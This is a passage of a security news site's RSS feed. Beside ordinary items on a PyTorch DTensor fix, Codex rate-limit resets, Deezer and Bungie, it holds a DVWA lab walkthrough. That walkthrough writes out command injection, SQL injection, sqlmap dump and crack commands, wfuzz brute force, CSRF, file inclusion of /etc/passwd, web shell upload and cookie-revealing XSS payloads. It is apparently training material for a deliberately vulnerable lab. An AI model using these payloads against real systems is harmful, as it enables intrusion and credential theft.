href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[viable/strict/1781292498: [DTensor] Preserve symbolic local layouts without DDE guards (#187026)]]></title>
<description><![CDATA[Compiled DTensor paths can see symbolic local layout metadata that is
semantically valid but not syntactically identical to the metadata saved during
forward propagation.
For to_local() backward, AOTAutograd can produce a local gradient stride like
(Max(1, u3), 1) while the saved DTensor metadata...]]></description>
<link>https://tsecurity.de/de/3594417/downloads/viablestrict1781292498-dtensor-preserve-symbolic-local-layouts-without-dde-guards-187026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594417/downloads/viablestrict1781292498-dtensor-preserve-symbolic-local-layouts-without-dde-guards-187026/</guid>
<pubDate>Fri, 12 Jun 2026 21:36:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Compiled DTensor paths can see symbolic local layout metadata that is<br>
semantically valid but not syntactically identical to the metadata saved during<br>
forward propagation.</p>
<p>For <code>to_local()</code> backward, AOTAutograd can produce a local gradient stride like<br>
<code>(Max(1, u3), 1)</code> while the saved DTensor metadata uses <code>(u1, 1)</code>. The previous<br>
backward path recomputed the global gradient stride before deciding whether it<br>
could reuse the original DTensor spec. That forced<br>
<code>compute_global_tensor_info()</code> to evaluate symbolic stride relations and could<br>
raise a data-dependent guard for the default same-placement backward path.</p>
<p>Reuse the original DTensor spec only for the default same-placement backward<br>
when the local gradient stride, saved forward local stride, and DTensor spec<br>
stride are compatible. Exact/provable stride equality is accepted directly. For<br>
contiguous symbolic stride forms such as <code>Max(1, u*)</code>, use the existing<br>
<code>check_contiguous_sizes_strides(..., false_if_dde=True)</code> helper so equivalent<br>
contiguous layouts are recognized without requiring a brittle exact symbolic<br>
match. If neither exact nor contiguous equivalence can be proven, emit<br>
<code>torch._check</code> assertions for the required stride equalities before taking the<br>
symbolic shortcut.</p>
<p>If the placement changes or the physical local stride cannot justify the<br>
original spec layout, keep the existing recomputation path and build a fresh<br>
spec from the observed gradient stride. This avoids the symbolic guard failure<br>
without lying about memory layout. In particular, uneven channels-last shards<br>
must keep using the recomputation path so autograd can repair the physical local<br>
gradient layout correctly.</p>
<p>The same class of issue also appears in <code>aten.t</code> sharding propagation. The<br>
single-dim strategy can enumerate candidate placements that move a symbolic<br>
<code>_StridedShard</code> split factor onto the other tensor dimension. When that<br>
candidate is not provably shardable, strategy expansion should reject it instead<br>
of evaluating a Python bool on an unbacked expression such as <code>8 &lt; 2*u0</code>.<br>
Register transpose with <code>allow_unbacked_sharding=False</code> so unproven candidates<br>
are pruned while statically valid candidates, including <code>_StridedShard(0, u0)</code><br>
propagating to <code>_StridedShard(1, u0)</code>, are still kept.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639021322" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/187025" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/187025/hovercard" href="https://github.com/pytorch/pytorch/issues/187025">#187025</a></p>
<p>This PR was authored with assistance from an AI assistant.</p>
<p>Test Plan:</p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="python -m pytest test/distributed/tensor/test_op_strategy.py::TestCostModel::test_t_prunes_unproven_unbacked_strided_shard_candidates test/distributed/tensor/test_op_strategy.py::TestCostModel::test_mm_strategies test/distributed/tensor/test_dtensor_compile.py::TestDTensorCompile::test_to_local_backward_unbacked_symbolic_stride test/distributed/tensor/test_tensor_ops.py::TestNewEmptyStridedUneven::test_backward_channels_last -q -s"><pre>python -m pytest test/distributed/tensor/test_op_strategy.py::TestCostModel::test_t_prunes_unproven_unbacked_strided_shard_candidates test/distributed/tensor/test_op_strategy.py::TestCostModel::test_mm_strategies test/distributed/tensor/test_dtensor_compile.py::TestDTensorCompile::test_to_local_backward_unbacked_symbolic_stride test/distributed/tensor/test_tensor_ops.py::TestNewEmptyStridedUneven::test_backward_channels_last -q -s</pre></div>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="lintrunner -a"><pre>lintrunner -a</pre></div>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639032064" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/187026" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/187026/hovercard" href="https://github.com/pytorch/pytorch/pull/187026">#187026</a><br>
Approved by: <a href="https://github.com/pianpwk">https://github.com/pianpwk</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI kicks off the AI price wars with flexible rate-limit resets for its Codex coding agent]]></title>
<description><![CDATA[OpenAI now lets Codex users bank their rate-limit resets and trigger them manually instead of watching them expire on a fixed schedule. If you hit your usage cap mid-session, you can cash in a saved reset right away instead of waiting. Users on the Go, Plus, Pro, and Business plans each get one f...]]></description>
<link>https://tsecurity.de/de/3594220/ai-nachrichten/openai-kicks-off-the-ai-price-wars-with-flexible-rate-limit-resets-for-its-codex-coding-agent/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594220/ai-nachrichten/openai-kicks-off-the-ai-price-wars-with-flexible-rate-limit-resets-for-its-codex-coding-agent/</guid>
<pubDate>Fri, 12 Jun 2026 19:52:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/04/openai_logo_orange.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        OpenAI now lets Codex users bank their rate-limit resets and trigger them manually instead of watching them expire on a fixed schedule. If you hit your usage cap mid-session, you can cash in a saved reset right away instead of waiting. Users on the Go, Plus, Pro, and Business plans each get one free reset to start. Plus and Pro users can also invite friends to unlock extra resets.</p>
<p>The article <a href="https://the-decoder.com/openai-kicks-off-the-ai-price-wars-with-flexible-rate-limit-resets-for-its-codex-coding-agent/">OpenAI kicks off the AI price wars with flexible rate-limit resets for its Codex coding agent</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Deezer Launches A Free Tool To Spot AI Songs On Major Music Apps]]></title>
<description><![CDATA[Have you ever wondered if the songs in your favorite streaming playlist were actually made by a human? Well, Deezer just released a brand new online detector that scans your music library to find completely artificial tracks. This free tool works perfectly across twenty different platforms, inclu...]]></description>
<link>https://tsecurity.de/de/3594144/ios-mac-os/deezer-launches-a-free-tool-to-spot-ai-songs-on-major-music-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594144/ios-mac-os/deezer-launches-a-free-tool-to-spot-ai-songs-on-major-music-apps/</guid>
<pubDate>Fri, 12 Jun 2026 19:22:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Have you ever wondered if the songs in your favorite streaming playlist were actually made by a human? Well, Deezer just released a brand new online detector that scans your music library to find completely artificial tracks. This free tool works perfectly across twenty different platforms, including massive heavyweights like Spotify, giving everyone a much-needed peek behind the digital curtain.



The scanner connects directly to your existing music accounts



To use this new detector, you just visit the official Deezer website and select your current music provider. Once you log in and connect your account, the system reads through your saved playlists. It searches for specific digital clues that computer programs leave behind when they generate audio. It works seamlessly whether you use Apple Music or any other major streaming service. According to the company, this software spots synthetic tracks with over ninety-nine percent accuracy.



Right now, the sheer amount of machine-made music flooding the internet is massive. Deezer says it receives nearly seventy-five thousand artificial tracks every single day. That makes up roughly forty-four percent of all the new songs uploaded to its servers. By opening up this detection software to everyone, the company hopes to bring more transparency to the entire industry, regardless of whether you listen on an Android phone or an Apple device.



When you use the scanner, you might be surprised by the results. The company found that nearly half of the people switching over from rival services already have artificial songs hiding in their playlists. If you care about supporting real human artists, spending a few minutes checking your favorite mixes is definitely worth the effort.]]></content:encoded>
</item>
<item>
<title><![CDATA["It was an emergency acquisition": Former Destiny 2 dev says if Sony didn't buy Bungie, the studio would have been "very close to shutting its doors"]]></title>
<description><![CDATA[Ex-Destiny 2 developer says Sony buying Bungie may have saved the studio from closing down, and that the merger was an "emergency acquisition."]]></description>
<link>https://tsecurity.de/de/3593995/windows-tipps/it-was-an-emergency-acquisition-former-destiny-2-dev-says-if-sony-didnt-buy-bungie-the-studio-would-have-been-very-close-to-shutting-its-doors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3593995/windows-tipps/it-was-an-emergency-acquisition-former-destiny-2-dev-says-if-sony-didnt-buy-bungie-the-studio-would-have-been-very-close-to-shutting-its-doors/</guid>
<pubDate>Fri, 12 Jun 2026 18:21:17 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ex-Destiny 2 developer says Sony buying Bungie may have saved the studio from closing down, and that the merger was an "emergency acquisition."]]></content:encoded>
</item>
<item>
<title><![CDATA[DVWA Cheat Sheet (Low & Medium)]]></title>
<description><![CDATA[Damn Vulnerable Web ApplicationBrute Force: Low & MediumJust testing with this username & password to get the error message (we will need it)As you can see, we got this error message, So let's hop on Burp Suite and intercept the GET RequestThis is the GET RequestSend it to the Intruder, hit Clear...]]></description>
<link>https://tsecurity.de/de/3592751/hacking/dvwa-cheat-sheet-low-medium/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592751/hacking/dvwa-cheat-sheet-low-medium/</guid>
<pubDate>Fri, 12 Jun 2026 09:33:35 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*C2SNdLMcY7BoTOzQCMnZ6w.jpeg"><figcaption><strong>Damn Vulnerable Web Application</strong></figcaption></figure><h3><strong>Brute Force: Low &amp; Medium</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*poNp6XeWbjQyl0UXbJMufg.png"><figcaption><strong>Just testing with this username &amp; password to get the error message (we will need it)</strong></figcaption></figure><p>As you can see, we got this error message, So let's hop on Burp Suite and intercept the GET Request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*hKAH5PekCUduF9W6_sks_w.png"><figcaption><strong>This is the GET Request</strong></figcaption></figure><p>Send it to the Intruder, hit Clear to clear any saved parameter, select the password that you sent for mine it was ‘admin’ so select it and hit Add</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ZVz52v9IBDv-kQEqpvR8A.png"><figcaption><strong>The word after (password=) must be colored like this</strong></figcaption></figure><p>Now let's go to the payloads section in the intruder and load our txt payload file (i used the top 100 words from rockyou.txt wordlist for simplicity)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*v0p0v8OPzvqExbOiooHEvg.png"></figure><p>Now we set the payload, How can we find if tha password is right ot not ?<br>So,let's go to settings in the intruder section to make our customization</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*FfqDeDVrnf6rAcdHPwfuMg.png"><figcaption><strong>add incorrect word to these words</strong></figcaption></figure><p>Intruder use these words to define if the attack fails, so it have some famous error messages<br>In the First Image that i posted, there was word ‘incorrect’ in it<br>So, after we added ‘incorrect’ , if we got the right password of course we will not find the ‘incorrect’ word. NOW Let's start the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fZWIfo4oNavwo4Yk3ScRuA.png"><figcaption><strong>The Password is ‘password’</strong></figcaption></figure><p>The password section is the only one that didn't find the ‘incorrect’ word</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZGzwQRPXmO0oVeswp-MnWw.png"><figcaption><strong>Low Level</strong></figcaption></figure><p><strong>Brute Force: Medium<br></strong>In medium level we can make the same steps as i did in low level but i’ll go through another tool just for a change, we'll use <a href="https://www.kali.org/tools/wfuzz/">wfuzz </a>tool on kali linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*C1EJ18UOBAZ5lLW-rSpeOQ.png"></figure><p>This is the Intercept, as you can see the password must be ‘FUZZ’ , but why?</p><p>to tell <a href="https://www.kali.org/tools/wfuzz/">wfuzz</a> tool that the password is the one that we want to brute force it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ilhLPxmR1agS3XvQia-caw.png"></figure><p>this is the code that i used for the attack</p><pre><br>wfuzz -c -z file,/home/prankster/top_100_Rock_You.txt -b 'security=medium; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf' 'http://192.168.1.4/dvwa/vulnerabilities/brute/?username=admin&amp;password=FUZZ&amp;Login=Login'</pre><p>Now let’s find the correct password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*9yZCsvWhml80CYGHonp-DQ.png"><figcaption><strong>Line ‘4’ is different, am i right !</strong></figcaption></figure><p>All of these the response is 200 (OK) , have 86 lines, but the words number for Line 4 is different ! , also the characters are different ! that means that other passwords were wrong because they tell us the same incorrect sentence each time execpt ‘password’ which is the password for user admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vwo-rRY1cOM1OxFDESDDCA.png"><figcaption><strong>Medium Level</strong></figcaption></figure><p><strong>Command Execution: Low</strong></p><p>You can find that there is page for pinging that takes ip address as input BUT, do you think it can take the ip address only ?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6BGTUzCxIpA1mfnGIDtPLA.png"><figcaption>Let's add our commands now</figcaption></figure><p>What if you typed the ip address and then ls command ? , let’s find out</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S3IfS-tv-yWyjngfdMu4oA.png"><figcaption><strong>127.0.0.1;ls</strong></figcaption></figure><p>simicolon ; is the separator between commands , you can use whatever you want (&amp;&amp;) or (&amp;) or (|)</p><p>After pinging, he read the ls command also, so now we can do whatever command we want</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPIHG89FSCi1KXWFTMks6w.png"><figcaption><strong>127.0.0.1;ls;whoami;uname -a</strong></figcaption></figure><p>after pinging, we can find there's 3 files (help, index.php, source), and the current username (www-data) , and some system information using (uname -a) command.</p><p><strong>Command Execution: Medium</strong></p><p>The concept of command execution is the same, you just type the desired command and then put the malicious command that you want,<br>the only change is the separator between the commands like <br> ( ; ) or (&amp;) or (&amp;&amp;) or ( | ) So, Let's see which of these is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giw-Bb2osjlr4A7BDmyCew.png"><figcaption>127.0.0.1 &amp; ls</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYKqedfzaWr9GvSw4dNjpw.png"><figcaption>127.0.0.1 | uname -a</figcaption></figure><p>So, pipe (|) , and (&amp;) separators are the working separators in medium level</p><p><strong>Cross-Site Request Forgery (CSRF): Low</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0O2KWlOLsedUt15oN-Rmfg.png"></figure><p>this page for changing password for user admin, so if we tried to change the password to ‘test123’ it will change in the url as it's shown down</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SnR9RwDbRQ44XKrgv-bTcA.png"><figcaption><strong>URL</strong>: http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=test123&amp;password_conf=test123&amp;Change=Change#</figcaption></figure><p>As you can see the password new and the confirmation of it is in the URL ‘test123’ are now the new password</p><p>if we changed the URL to <em>http://192.168.1.4/dvwa/vulnerabilities/csrf/?password_new=</em><strong><em>Hello</em></strong><em>&amp;password_conf=</em><strong><em>Hello</em></strong><em>&amp;Change=Change#</em></p><p>And open this new link, the password will change directly to ‘Hello’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfTFEoDxSjiLXYSw9_sKnw.png"></figure><p>if you logged out and tried to login with ‘<strong>test123</strong>’ password, it will give you Login Failed <br>if you tried ‘<strong>Hello</strong>’ instead, you'll be logged in successfully</p><p>so you can use this malicious link with some phishing techniques and so on</p><p><strong>Cross-Site Request Forgery (CSRF): Medium</strong></p><p>first, we need to intercept the GET packet for password changing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*SwH3-1OyD_bmtRTKMGHpSg.png"><figcaption><strong>Let's intercept this packet</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*EmZ0S8_mwaA3UxSkokfd1Q.png"><figcaption><strong>The intercepted packet in Burp Suite</strong></figcaption></figure><p>Why we intercepted now ? , Because the Referer in the next packet will be hidden, so we will add it manually but with a little bit change</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*pU0JBYWDvyw-hYHb0DlCsQ.png"><figcaption><strong>Referer: 127.0.0.1 is added manually</strong></figcaption></figure><p>once we added the Referer manually , we can forward the packet and the password will change directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*qh0n80BhuKPWZ52SV5OKMw.png"><figcaption><strong>Password Changed Successfully</strong></figcaption></figure><p>now you can login with the new changed password ‘<strong>csrfmedium</strong>’</p><p><strong>File Inclusion : Low &amp; Medium</strong></p><p>In this situation we just need to manipulate the URL in the website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZa421F8PvvfVgCm96W1wA.png"><figcaption><strong>Low Level Checked</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgT6a2MFoahU0NqxPnzrCg.png"><figcaption><strong>We got access to ‘/etc/passwd’</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ek2QAuFpd6NlB72VLBulA.png"><figcaption><strong>Also we got the Linux version</strong></figcaption></figure><p><strong>File Inclusion : Medium</strong></p><p>The same way as we did on low level is working on medium level, But let's try another files to confirm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkonGnobJvn99L0y8BNuKg.png"><figcaption><strong>Medium Level Checked</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAtnxU3fHMeT1YlrGGOWkg.png"><figcaption><strong>Logs of authentication events</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lGWe6pZ1ma0Xorqn3bMsA.png"><figcaption><strong>Lists the groups that users belong to</strong></figcaption></figure><p><strong>SQL Injection : Low</strong></p><p>In sql injection section we have to put the user id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R6Y8eqs-bJvER2AeJL7TSw.jpeg"><figcaption><strong>That's all users we've got</strong></figcaption></figure><p>Let's try some Injections💉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*NC9kzsb55-7pTN8xmzvgmw.png"><figcaption><strong>@’ or ‘1’=’1</strong></figcaption></figure><p>@ is just any sign and the ‘ after it means that anything after this will be outside of the ‘user id’ scope, and the statement after the <strong>or </strong>condition is a tautology (always True) hince it always true, it will print all users in it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8yLngEpheZe6wfjyh7baFQ.png"><figcaption><strong>‘UNION SELECT user, password FROM users#</strong></figcaption></figure><p>The single quote closes the string that was opened by the SQL query</p><p>UNION to make two SELECT queries into a single result set , The Selection is obvious (user, password)</p><p>Everything after # is treated as a comment and ignored by the SQL engine.</p><p><strong>SQL Injection : Medium</strong></p><p>The concept is the same, you just have to remove comments like single quote or put more quotes , but it's the same concept</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5cuK-gX-sPwh6hTaucpu9w.png"><figcaption><strong>1 or 1=1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RSxxMnpYVIf5kUMsqu3Dmg.png"><figcaption><strong>1 UNION SELECT user, password FROM users</strong></figcaption></figure><p><strong>SQL Injection (Blind) : Low</strong></p><p>these queries are working perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1rocXhsBHjZgfiK2uuyvw.png"><figcaption><strong>‘UNION SELECT user, password FROM users#</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FR2Loy8Svtx_Ai47xLwXhA.png"><figcaption><strong>$’ or ‘1’=’1</strong></figcaption></figure><p>But in Blind case, <a href="https://sqlmap.org/">sqlmap </a>is a perfect solution</p><p>First , you need to hit <strong>Submit </strong>in DVWA and intercept this packet using <a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*Oq-qlNCzZXYuIdFds0aIhA.png"><figcaption><strong>This is the intercepted ‘Submit’ Packet</strong></figcaption></figure><p>now we will go to sqlmap on linux and execute this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" --dbs<br>"Make Sure to customize your cookie and ip address"</pre><p>Make sure to type the URL right, and the cookie from your Burp Suite Intercept is also right</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*jKndyA41MhK3_sCNloB-ow.png"><figcaption><strong>That's all available databases</strong></figcaption></figure><p>lets explore avaliable tables for DVWA database with this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa --tables</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*A6RReuvfYN0nxJ22SJiedQ.png"><figcaption><strong>That’s the available tables for ‘dvwa’ database</strong></figcaption></figure><p>Now Lets explore more about ‘users’ table in DVWA database with this command</p><pre>sqlmap -u "http://192.168.1.4/dvwa/vulnerabilities/sqli_blind/?id=&amp;Submit=Submit" --cookie="security=low; PHPSESSID=17ef46f3cec5a583f4bf12da8c0a4daf" -D dvwa -T users --dump</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THxKzxDXIu-YzFFtJffvPw.png"><figcaption><strong>users table</strong></figcaption></figure><p>after this i decided to crack the the users password using the default wordliast in sqlmap. So all of them are cracked except the admin password <br>Because the admin password is ‘<strong>csrfmedium</strong>’ since the last <strong>csrf </strong>attack i didn't change it , so it's difficult to crack, but the rest are all cracked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjcPX3dxae9JTwOPCcRc6w.png"><figcaption><strong>All cracked passwords</strong></figcaption></figure><p><strong>SQL Injection (Blind) : Medium</strong></p><p>These queries still working perfectly, unfortunately SQLMAP is not working properly in this medium level of blind sql injection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_JRQ6_wQkeM0cLav8piX4A.png"><figcaption><strong>1 or 1=1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*5LAOs0arujPX5i0ffdjOvg.png"><figcaption><strong>1 UNION SELECT user, password FROM users</strong></figcaption></figure><p><strong>File Upload: Low</strong></p><p>we just want to upload a simple web shell, so i used this simple php web shell <a href="https://github.com/artyuum/simple-php-web-shell/blob/master/index.php">LINK</a> , and now let's upload it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*Sgh66o5xuIzihcOyet2YPQ.png"></figure><p>Now let's access it from the URL, remove the <strong># </strong>at the end of URL</p><p>and paste this path instead <strong>‘../../hackable/uploads/index.php’</strong></p><p>once you got this website, you can execute whatever you want</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*bTfVyx-bimWqUFBvEEsWFw.png"><figcaption><strong>ls;echo ”********************************************************”;cat /etc/passwd</strong></figcaption></figure><p><strong>File Upload: Medium</strong></p><p>In this level, the site checks whether the uploaded file is image or not so the last trick will give us an error.</p><p>So we will hop on burp suite and change the type of it to image</p><p>first we need to choose the php file, and turn the intercept on for BurpSuite</p><p>and hit Submit on DVWA, to intercept this submittion packet</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*tyjniDp1F1c43JmLR4ByFw.png"></figure><p>this will give me an error if there's no intercept, but now i intercepted this request on burp suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*avXMPrsQN83kWXuCYbfgzw.png"></figure><p>Lets change the ‘<strong>Content-Type</strong>’ from ‘<strong>application/x-php</strong>’ to ‘<strong>image/jpeg</strong>’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*qqD6eriKdc14huTA0wEFzA.png"></figure><p>Alright, Let's Hit <strong>‘Forward’ </strong>and sent the request to the DVWA</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*AP4tQu2vlxWR5AUVIMI8eQ.png"></figure><p>NICE! file is successfully uploaded</p><p>let's remove the <strong>‘#’ </strong>from the URL and past the path that he gave us <strong>‘../../hackable/uploads/index.php’ , </strong>once you get this page, congratulations</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*4QXEmR1svwCApHcsX0gOtQ.png"></figure><p><strong>XSS Reflected: Low</strong></p><p>In reflected xss the malicious script is reflected off the web server and executed immediately and it's not stored on the web server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T2l_Bd4O6KpJyT4YMOhrLQ.png"></figure><p>Once You submit this xss payload , it'll pop-up a message says Reflected XSS</p><pre><br>&lt;script&gt;alert('Reflected XSS');&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OKp21vTjlINWATJJRl894g.png"><figcaption><strong>Just Like That</strong></figcaption></figure><p><strong>XSS Reflected: Medium</strong></p><p>the previous payload is not working in this phase, so let's try another payload.</p><p>i just crafted a specified payload that makes reflected xss and take my logo print it next to hello inside the DVWA</p><pre>&lt;img src="http://127.0.0.1/Prankster_Photo.jpg" onload="alert('Reflected XSS')" style="width:100px; height:100px;"&gt;</pre><p>i just uploaded my logo on http server and resized the image to be <br>100px X 100px , i did all of this inside the XSS Reflected payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*iXycjSyLcwzSAaq_s_ZtRA.png"><figcaption><strong>Payload is working perfectly</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*MVsFkA9OJPZBZXZ8O6OEbA.png"><figcaption><strong>And The Prankster logo is also working</strong></figcaption></figure><p>Let's try another reflected xss payload that uses a click me button to perform reflected xss attack everytime you press it</p><pre>&lt;a href="#" onclick="alert('Reflected XSS')"&gt;Click Me&lt;/a&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*703rq3RwYAxPRQo4r_P_xw.png"><figcaption><strong>Click Me Button is Ready for Execution</strong></figcaption></figure><p>Every time you hit <strong>‘Click Me’</strong> button, will perform the attack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0gM8_M0HsEzlFK6DS3dHQ.png"><figcaption><strong>Just like that</strong></figcaption></figure><p><strong>XSS Stored: Low</strong></p><p>The malicious script is stored on the server and it will run automatically without any buttons or anything, every time you visit the XSS Stored section in DVWA , this xss code will execute</p><pre>&lt;script&gt;alert('Stored XSS');&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iyHmNSSmar_l5Hbt0Mr3oQ.png"></figure><p>Every time you visit the XSS Stored section in DVWA, you'll get this pop-up</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/1*myJVWh2H-hWE8CfXPBVACg.png"></figure><p><strong>XSS Stored: Medium<br></strong>to be honest, the same payload is still working on medium level and i can't remove anything LOL!! <br>must be button for ‘clear guestbook’ but i can't find it so, the XSS is still working perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*iEX28RP1jUrWQfnhUkipeQ.gif"><figcaption><strong>Proof of concept</strong></figcaption></figure><p>I've tried to make another stored xss attack , but there's already a stores xss up and running. I also asked <a href="https://chatgpt.com/">ChatGPT</a> in this case and he answered this :</p><p><strong><em>“If you already have an XSS payload running on the website, it’s unlikely that it would prevent another XSS attack from working.”</em></strong></p><p>So let's try another way to make sure we passed medium level, so let's reset the database to enter the xss payload again on medium level</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1AsgDcru-CPiq0QcClMPQ.png"><figcaption><strong>First, we need to reset to enter the xss again</strong></figcaption></figure><p>now lets maximize the name section to put the payload in the name section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bfi-5prqPmh21HxDxf1KyA.png"><figcaption><strong>set maxlength to 100 instead of 10</strong></figcaption></figure><p>Let's try this payload in the name section, this payload will give you the cookie for the user</p><pre>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KvU-6ZOMLklBE7peUpOrYA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*Hod39Kycm45vBcgbA2xLig.png"><figcaption><strong>That's the Cookie</strong></figcaption></figure><p>Finally, Thanks for reading my blog , and fell free to make these attacks the way you want, it’s not a rule you can customize whatever you want to achieve your Goals.</p><blockquote><strong>Contact Me:</strong></blockquote><blockquote><strong>Discord:</strong> Prankster#6546</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c7490e76f1b5" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/dvwa-cheat-sheet-low-medium-c7490e76f1b5">DVWA Cheat Sheet (Low &amp; Medium)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.11.6]]></title>
<description><![CDATA[@oh-my-pi/pi-coding-agent
Changed

Renamed the saved Codex reset command from /reset-usage to /usage reset and added /usage show as an explicit alias for plain /usage.

